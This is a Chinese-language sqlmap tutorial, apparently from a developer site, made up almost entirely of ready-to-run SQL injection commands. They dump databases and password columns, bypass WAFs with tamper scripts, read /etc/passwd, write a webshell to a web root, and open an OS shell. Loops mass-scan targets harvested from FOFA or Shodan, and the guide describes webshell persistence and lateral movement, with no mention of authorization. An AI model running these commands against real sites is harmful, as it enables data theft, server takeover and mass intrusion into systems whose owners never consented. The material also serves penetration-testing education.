sqlmap 使用教程(从入门到进阶)
作者:Factor安全
sqlmap是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等),本文给大家介绍sqlmap使用教程,感兴趣的朋友一起看看吧
超详细 sqlmap 使用教程(从入门到进阶)
sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。
一、安装 sqlmap
方式一:源码安装(推荐)
git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像 cd sqlmap python3 sqlmap.py -h
方式二:APT 安装(适用于 Kali、Debian)
sudo apt update sudo apt install sqlmap sqlmap -h
二、基本命令语法
sqlmap -u "http://target.com/vuln.php?id=1" [options]
-u
:目标 URL,支持 GET 和 POST 参数--data
:提交 POST 参数--cookie
:提交 Cookie 头-p
:指定注入点参数--batch
:自动确认(用于脚本执行时非交互)--random-agent
:伪造浏览器 UA
三、典型实战用法大全(按功能分类)
1、基础测试注入点
1、自动探测 GET 参数是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、测试 POST 请求参数
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、带 Cookie 测试(如登录后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入参数(默认会测试所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、静态请求文件(如 Burp 抓包导出的 .txt)
sqlmap -r request.txt
2、数据库识别与信息收集
1、获取数据库类型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、获取当前数据库名
sqlmap -u "http://target.com/?id=1" --current-db
3、获取当前用户、权限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、获取所有数据库名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚举数据库的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚举表内字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、导出数据
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
3、绕过过滤和防护机制
1、伪造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定义 HTTP 请求头
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用随机 UA 绕过 WAF
sqlmap -u "http://target.com/?id=1" --random-agent
4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment
推荐组合使用多个:
--tamper=space2comment,charunicodeescape,between
4、特殊注入场景支持
1、支持时间盲注(time-based blind)
sqlmap -u "http://target.com/page.php?id=1" --technique=T
2、支持报错注入(error-based)
sqlmap -u "http://target.com/page.php?id=1" --technique=E
3、使用堆叠查询
sqlmap -u "http://target.com/page.php?id=1" --stacked-query
5、文件系统操作(高危)
1、读取远程服务器文件(如配置文件)
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
2、上传写入 webshell(需要写权限)
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"
6、系统命令执行(高权限下)
1、执行系统命令(如 whoami、ipconfig)
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
2、启动交互式命令行(非常强大)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
注意:必须具备数据库用户执行系统命令的权限(如
xp_cmdshell
,load_file
,into outfile
等)
7、登录口爆破测试(少见用法)
如果某参数中存在注入点,sqlmap 可尝试暴力登录:
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords
8、会话保存 / 自动继续扫描
1、保存扫描进度
sqlmap -u "http://target.com" --batch --flush-session
2、继续之前未完成的任务
sqlmap -u "http://target.com" --resume
9、指定数据库引擎、注入技术
--dbms=mysql # 强制使用 MySQL --technique=BEUSTQ # 指定注入技术
技术说明:
B
:布尔盲注E
:报错注入U
:联合查询S
:堆叠语句T
:时间盲注Q
:inline 查询
四、辅助技巧与实用建议
场景 | 推荐参数 |
---|---|
多参数存在注入 | 使用 --level=5 --risk=3 |
避免频繁交互 | 加 --batch |
WAF 检测或屏蔽 | --random-agent --tamper |
响应慢 / 网站卡顿 | 加 --timeout=10 --retries=3 --delay=1 |
避免爆炸性数据 | 加 --fresh-queries --exclude-sysdbs |
五、实战案例总结
例 1:自动识别 + 导出所有数据
sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all
例 2:POST 登录接口注入测试
sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch
例 3:使用 Burp 抓包测试
sqlmap -r burp_request.txt --batch
例 4:读取数据库用户信息并执行 whoami
sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"
六、总结建议
建议 | 理由 |
---|---|
使用 --batch 做自动测试 | 减少交互操作,提高效率 |
指定 -p 参数 | 避免浪费时间在无关参数 |
学会使用 -r 静态请求文件 | 更适合测试复杂 POST、Cookie 请求 |
配合 Burp + sqlmap 使用 | 手动确认参数后自动化测试更高效 |
测试环境先用 --risk=1 --level=1 | 线上目标避免影响服务 |
禁用系统功能或告警 | 如 --os-shell 等需谨慎使用 |
🚀 七、sqlmap 高级技巧 & 实战应用拓展
1. 自动化批量测试多个目标
如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:
方法一:使用--batch+--crawl+ Bash 脚本
cat urls.txt | while read url; do sqlmap -u "$url" --batch --crawl=2 --threads=5 done
方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
结合搜索引擎导出资产后:
for u in $(cat fofa_urls.txt); do sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2 done
2. 常用组合参数模板(实战推荐)
场景 | 推荐组合参数 |
---|---|
公开测试平台 / 漏扫 | --random-agent --batch --threads=5 |
内网实战探测(不打扰目标) | --level=1 --risk=1 --technique=B --time-sec=5 --delay=1 |
目标用 POST 登录 | --data="user=admin&pass=123" |
Cookie 有效期短 | --cookie="JSESSIONID=xxxxxx" |
遇到 CDN 防护 | --tamper=between,space2comment |
目标只允许 HEAD 请求 | --method=HEAD |
深入盲注场景 | --technique=T --time-sec=10 |
3. 常见 Tamper 绕过脚本说明
sqlmap 支持用 --tamper
参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):
脚本名 | 功能说明 |
---|---|
space2comment.py | 将空格替换为 /**/ 注释 |
between.py | 使用 BETWEEN 替代等号 |
charunicodeescape.py | 字符转为 unicode 编码 |
equaltolike.py | 将 = 替换为 LIKE |
randomcase.py | 字母大小写混淆 |
unionalltounion.py | 将 UNION ALL SELECT 改成 UNION SELECT |
percentage.py | 使用 % 编码关键字 |
✅ 组合使用示例:
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch
4. 对抗防火墙与 WAF 策略
1、检测是否有 WAF
sqlmap -u "http://target.com/?id=1" --identify-waf
如果提示类似:
[!] WAF/IDS/IPS identified: Cloudflare
就说明目标使用了防御系统,应切换到:
- 慢速测试:
--delay=1 --timeout=10
- 编码绕过:
--tamper
- 限制技术:
--technique=B
5. SQL 注入技术选型建议
技术代码 | 类型 | 特点说明 |
---|---|---|
B | Boolean Blind | 最隐蔽,但慢 |
T | Time-based Blind | 非回显场景常用 |
E | Error-based | 快速,依赖数据库错误信息 |
U | Union Query | 最快,依赖回显 |
S | Stacked Queries | 可写文件/执行命令 |
Q | Inline Query | 针对特定场景如 PostgreSQL |
bash复制编辑--technique=BEUSTQ # 开启所有类型 --technique=BEU # 只测回显类 --technique=T # 强制盲注
6. sqlmap session 保存与重用
sqlmap 会默认保存扫描历史到 .sqlmap/output/host/
,也支持:
--flush-session
:清除上次扫描缓存--resume
:恢复未完成任务--output-dir=custom/
:自定义输出路径
7. 利用 sqlmap API 进行自动化任务管理
1、启动 API 服务端(默认端口 8775)
python3 sqlmapapi.py -s
2、与之交互(Python 代码 / Postman / curl 调用)
POST /task/new POST /scan/start GET /scan/{id}/log
可搭配 Web UI 或自动化渗透框架集成,例如:
- Awvs + sqlmap 联动
- 命令行批量漏洞验证器中调 sqlmap API
8. 输出数据格式控制
参数 | 功能 |
---|---|
--batch | 省略交互 |
--forms | 自动识别表单 |
--threads=10 | 多线程加速 |
--output-dir=xxx | 指定输出目录 |
--crawl=2 | 自动爬取内部页面 2 层 |
--fresh-queries | 不使用缓存 |
--parse-errors | 尝试解析错误信息 |
--save | 保存参数为 profile |
9. sqlmap 配合渗透测试场景
渗透阶段 | sqlmap 使用点 |
---|---|
信息收集 | 自动识别数据库、DBA 用户、DB 类型 |
权限提升 | 利用堆叠查询执行文件写入、提权脚本 |
持久化控制 | 写入 Webshell,执行后门 |
lateral movement | 获取数据库中的 VPN 账号、内网 IP、后台密码等 |
10. 学习路径建议(由浅入深)
- ✅ 掌握基本注入点扫描(
--dbs --tables --dump
) - ✅ 理解 6 大注入技术(BEUSTQ)
- ✅ 学会绕过 WAF(tamper 编写与选择)
- ✅ 学会构造 request.txt / Cookie / Header 注入
- ✅ 脚本化调用 sqlmap 自动打点
- ✅ 分析源码、写 tamper、定制注入 payload
附:推荐资源
✅ 总结一句话:
sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。
到此这篇关于sqlmap 使用教程(从入门到进阶)的文章就介绍到这了,更多相关sqlmap 使用内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!